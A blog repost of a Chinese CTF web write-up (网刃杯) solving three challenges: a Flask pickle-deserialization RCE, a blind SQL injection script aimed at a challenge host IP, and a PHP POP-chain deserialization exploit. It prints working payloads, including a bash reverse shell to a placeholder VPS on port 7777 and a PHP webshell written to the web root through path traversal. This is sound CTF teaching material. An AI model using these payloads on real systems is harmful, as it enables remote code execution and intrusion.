zoukankan      html  css  js  c++  java
  • [网刃杯] Web WriteUp

    ez-web

    进入题目在注释里看到<!-- ?pic=1.jpg -->
    加上提示flask,?pic=app.py直接读取到app.py,然后base64解码得到:

    import pickle
    import base64
    from flask import Flask, request
    from flask import render_template,redirect,send_from_directory
    import os
    import requests
    import random
    from flask import send_file
    
    app = Flask(__name__)
    
    class User():
        def __init__(self,name,age):
            self.name = name
            self.age = age
    
    def check(s):
        if b'R' in s:
            return 0
        return 1
    
    
    @app.route("/")
    def index():
        try:
            user = base64.b64decode(request.cookies.get('user'))
            if check(user):
                user = pickle.loads(user)
                username = user["username"]
            else:
                username = "bad,bad,hacker"
        except:
            username = "CTFer"
        pic = '{0}.jpg'.format(random.randint(1,7))
        
        try:
            pic=request.args.get('pic')
            with open(pic, 'rb') as f:
                base64_data = base64.b64encode(f.read())
                p = base64_data.decode()
        except:
            pic='{0}.jpg'.format(random.randint(1,7))
            with open(pic, 'rb') as f:
                base64_data = base64.b64encode(f.read())
                p = base64_data.decode()
    
        return render_template('index.html', uname=username, pic=p )
    
    
    if __name__ == "__main__":
        app.run('0.0.0.0')
    

    /flag没有啥东西,注意到user = pickle.loads(user),想到可以利用opcode来RCE,但是过滤了R,可以用o,构造Payload:

    import base64
    data=b'''(cos
    system
    S'bash -c "bash -i >& /dev/tcp/VPS/7777 0>&1"'
    o.'''
    print(base64.b64encode(data))
    

    服务器上监听7777端口,然后将得到的payload写入cookie:user=PAYLOAD

    请求页面得到反弹Shell,然后需要ls -al /来列出包括隐藏文件在内(flag在隐藏文件中)的文件:

    然后cat /.ffffffffllllllllllllaaaaag即可获得flag:flag{a806de95e0fd1e1ba5de6ed1ef20adb2}

    ez-sql

    InCTF2021原题,参考https://blog.bi0s.in/2021/08/15/Web/Vuln-Drive-InCTF-Internationals-2021/ 的exp,改一下表名和字段就出来了:

    import requests
    url="http://116.62.239.41:4323/"
    flag=''
    flaga=""
    for i in range(1, 100):
        for c in '1234567890abcdefghijklmnopqrstuvwxyz':
            payload=flaga+str(hex(ord(c)))[2:]
            sql = f'1,username from user where password like 0x{payload}25 union select 1'
            r = requests.get(url+ f'?sql1=%2527&sql2={sql}')
            if 'nop' in r.text:
                flaga = flaga+str(hex(ord(c)))[2:]
                flag+=c
                break
            print(flag)
    


    包裹flag{}提交

    ez-php

    l3m0n师傅放在博客的原题改了改又拿出来用了:

     <?php
    highlight_file(__FILE__);
    class c4t
    {
      protected $blacklists = array("GET", "POST", "system", "eval", "cat", "tail", "head", "tac", "more", "less", "nl", "sort", "$", "%");
      function filter($data)
      {
        foreach ($this->blacklists as $filters) {
          if (strstr($data, $filters)) {
            exit("bad,bad,hacker");
          }
        }
        if (';' === preg_replace('/[a-z]+((?R)?)/', "6666", $data)) {
          if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $data)) {
            exit("Go,away!");
          }
          return $data;
        }
        return $data;
      }
    };
    
    class yang
    {
      protected $filters;
      protected $endl;
      function __construct($filters, $endl)
      {
        $this->filters = $filters;
        $this->endl = $endl;
      }
      function format($txt)
      {
        foreach ($this->filters as $filter) {
          $txt = $filter->filter($txt);
        }
        $txt = str_replace('
    ', $this->endl, $txt);
        return $txt;
      }
    };
    
    class host
    {
      protected $filename;
      protected $format;
      function __construct($filename, $format)
      {
        $this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
        $this->format = $format;
      }
      function writeLog($txt)
      {
        $txt = $this->format->format($txt);
        //TODO: Modify the address here, and delete this TODO.
        file_put_contents("/var/log/" . $this->filename, $txt, FILE_APPEND);
      }
    };
    
    class xin
    {
      protected $logwriter;
      function __construct($writer)
      {
        $this->logwriter = $writer;
      }
      function log($txt)
      {
        $this->logwriter->writeLog($txt);
      }
    };
    
    class v0id
    {
      protected $xin;
      protected $name;
      protected $group;
      protected $url;
      function __construct($name, $group, $url)
      {
        $this->name = $name;
        $this->group = $group;
        $this->url = $url;
        $fltr = new c4t("/[i](.*)[/i]/i", "<i>\1</i>");
        $this->xin = new xin(new host("song_views", new yang(array($fltr), "
    ")));
      }
      function __toString()
      {
        return "<a href='" . $this->url . "'><i>" . $this->name . "</i></a> by " . $this->group;
      }
      function log()
      {
        $this->xin->log("v0id " . $this->name . " by [i]" . $this->group . "[/i] viewed.
    ");
      }
      function get_name()
      {
        return $this->name;
      }
    }
    
    class fz
    {
      protected $fz;
      protected $v0id;
      function __construct($fz, $v0id)
      {
        $this->v0id = $v0id;
        $this->fz = $fz;
      }
      function __toString()
      {
        return "<p>" . $this->v0id->__toString() . "</p><p>" . str_replace("
    ", "<br />", $this->fz) . "</p>
    ";
      }
      function __destruct()
      {
        $this->v0id->log();
      }
      function shortForm()
      {
        return "<p><a href='v0id.php?name=" . urlencode($this->v0id->get_name()) . "'>" . $this->v0id->get_name() . "</a></p>";
      }
      function name_is($name)
      {
        return $this->v0id->get_name() === $name;
      }
    };
    
    class Orz
    {
      static function addLyrics($fz)
      {
        $oldlyrics = array();
        if (isset($_COOKIE['fz'])) {
          $oldlyrics = unserialize(base64_decode($_COOKIE['fz']));
        }
        foreach ($fz as $lyric) $oldlyrics[] = $lyric;
        setcookie('fz', base64_encode(serialize($oldlyrics)));
      }
      static function getLyrics()
      {
        if (isset($_COOKIE['fz'])) {
          return unserialize(base64_decode($_COOKIE['fz']));
        } else {
          setcookie('fz', base64_encode(serialize(array(1, 2))));
          return array(1, 2);
        }
      }
    };
    
    class bolean
    {
      static function exportData($fz)
      {
        return base64_encode(serialize($fz));
      }
      static function importData($fz)
      {
        return serialize(base64_decode($fz));
      }
    };
    
    class ymnh
    {
      protected $ymnh;
      function __construct($dbuser, $dbpass, $db)
      {
        $this->ymnh = mysqli_connect("localhost", $dbuser, $dbpass, $db);
      }
    
      function getLyrics($fz)
      {
        $r = array();
        foreach ($fz as $lyric) {
          $s = intval($lyric);
          $result = $this->ymnh->query("SELECT data FROM fz WHERE id=$s");
          while (($row = $result->fetch_row()) != NULL) {
            $r[] = unserialize(base64_decode($row[0]));
          }
        }
        return $r;
      }
    
      function addLyrics($fz)
      {
        $ids = array();
        foreach ($fz as $lyric) {
          $this->ymnh->query("INSERT INTO fz (data) VALUES ("" . base64_encode(serialize($lyric)) . "")");
          $res = $this->ymnh->query("SELECT MAX(id) FROM fz");
          $id = $res->fetch_row();
          $ids[] = intval($id[0]);
        }
        echo var_dump($ids);
        return $ids;
      }
    
      function __destruct()
      {
        $this->ymnh->close();
        $this->ymnh = NULL;
      }
    };
    
    @unserialize($_POST['a']); 
    

    Pop链构造,还是先找找析构函数来入手,发现了两个析构函数:

    //fz类
        function __destruct()
        {
            $this->v0id->log();
        }
    //ymnh类
        function __destruct()
        {
            $this->ymnh->close();
            $this->ymnh = NULL;
        }
    

    大概看一下ymnh类的析构函数并没有什么用,还是跟进v0id类的log方法:

    class v0id
    {
        protected $xin;
        protected $name;
        protected $group;
    
        function log()
        {
            $this->xin->log("v0id " . $this->name . " by [i]" . $this->group . "[/i] viewed.
    ");
        }
    }
    

    跟进xin类的log方法:

    class xin
    {
        protected $logwriter;
    
        function log($txt)
        {
            $this->logwriter->writeLog($txt);
        }
    };
    

    这里的$logwriter可控,因此可以调用到任意类的writeLog方法,跟进host类的writeLog方法:

    class host
    {
        protected $filename;
        protected $format;
    
    	  function __construct($filename, $format)
        {
            $this->format = $format;
            $this->filename = $filename;
        }
    
        function writeLog($txt)
        {
            $txt = $this->format->format($txt);
            //TODO: Modify the address here, and delete this TODO.
            file_put_contents("/var/log/" . $this->filename, $txt, FILE_APPEND);
        }
    }
    

    同样的$format字段可控,可以调用到yang类的format方法:

    class yang
    {
        protected $filters;
        protected $endl;
        function __construct($filters, $endl)
        {
            $this->filters = $filters;
            $this->endl = $endl;
        }
    
        function format($txt)
        {
            foreach ($this->filters as $filter) {
                $txt = $filter->filter($txt);
            }
            $txt = str_replace('
    ', $this->endl, $txt);
            return $txt;
        }
    };
    

    这里是可以给$filter传一个空数组,这样就可以不调用c4t类中的检测方法。
    同时c4t下面的这段过滤是无效的:

        if (';' === preg_replace('/[a-z]+((?R)?)/', "6666", $data)) {
          if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $data)) {
            exit("Go,away!");
          }
          return $data;
        }
    

    因为';' === preg_replace('/[a-z]+((?R)?)/', "6666", $data)是恒为False的,所以不会进入进一步的判断。

    参考php 反序列化POP链的构造与理解改一改就可以构造出payload:

    <?php
    class yang {
        protected $filters;
        protected $endl;
        function __construct($filters, $endl) {
            $this->filters = $filters;
            $this->endl = $endl;
        }
    }
    
    class host {
        protected $filename;
        protected $format;
        function __construct($filename, $format) {
            $this->format = $format;
            $this->filename = $filename;
        }
    }
    
    class xin {
        protected $logwriter;
        function __construct($writer) {
            $this->logwriter = $writer;
        }
    }
    
    class v0id {
        protected $xin;
        protected $name;
        protected $group;
        function __construct($name, $group, $logger) {
            $this->name = $name;
            $this->group = $group;
            $this->xin = $logger;
        }
    }
    
    class fz {
        protected $fz;
        protected $v0id;
        function __construct($fz, $v0id) {
            $this->v0id = $v0id;
            $this->fz = $fz;
        }
    }
    
    $logfileformat = new yang(array(), "a"); 
    $log_write_file = new host('../../../../var/www/html/y3.php', $logfileformat);
    $logger = new xin($log_write_file);
    $song = new v0id('JrXnm','<?php system("cat ./*");?>', $logger);
    $lyrics = new fz('JrXnm',$song);
    echo urlencode(serialize($lyrics));
    

    POST:
    a=O%3A2%3A%22fz%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00fz%22%3Bs%3A5%3A%22JrXnm%22%3Bs%3A7%3A%22%00%2A%00v0id%22%3BO%3A4%3A%22v0id%22%3A3%3A%7Bs%3A6%3A%22%00%2A%00xin%22%3BO%3A3%3A%22xin%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00logwriter%22%3BO%3A4%3A%22host%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A31%3A%22..%2F..%2F..%2F..%2Fvar%2Fwww%2Fhtml%2Fy3.php%22%3Bs%3A9%3A%22%00%2A%00format%22%3BO%3A4%3A%22yang%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00filters%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22%00%2A%00endl%22%3Bs%3A1%3A%22%0A%22%3B%7D%7D%7Ds%3A7%3A%22%00%2A%00name%22%3Bs%3A5%3A%22JrXnm%22%3Bs%3A8%3A%22%00%2A%00group%22%3Bs%3A25%3A%22%3C%3Fphp+system%28%22cat+.%2F%2A%22%29%3F%3E%22%3B%7D%7D

    感谢Frank师傅和CyXq师傅对本文几处错误的指正,已经进行了更正~

    [ * ]博客中转载的文章均已标明出处与来源,若无意产生侵权行为深表歉意,需要删除或更改请联系博主: 2245998470[at]qq.com

  • 相关阅读:
    python测试开发django-rest-framework-87.分页查询之偏移分页(LimitOffsetPagination)和游标分页(CursorPagination)
    python测试开发django-rest-framework-86.分页查询功能(PageNumberPagination)
    python测试开发django-rest-framework-85.序列化(ModelSerializer)之设置必填(required)和非必填字段
    python测试开发django-rest-framework-84.序列化(ModelSerializer)之日期时间格式带T问题
    去掉DELPHI开启后弹出安全警告框
    使用path 格式获取java hashmap key 值
    Kubeapps-2.0 发布了
    monio系统性能分析相关命令
    imgproxy 强大高效的图片处理服务
    nodejs java 互调用
  • 原文地址:https://www.cnblogs.com/yesec/p/15260820.html
Copyright © 2011-2022 走看看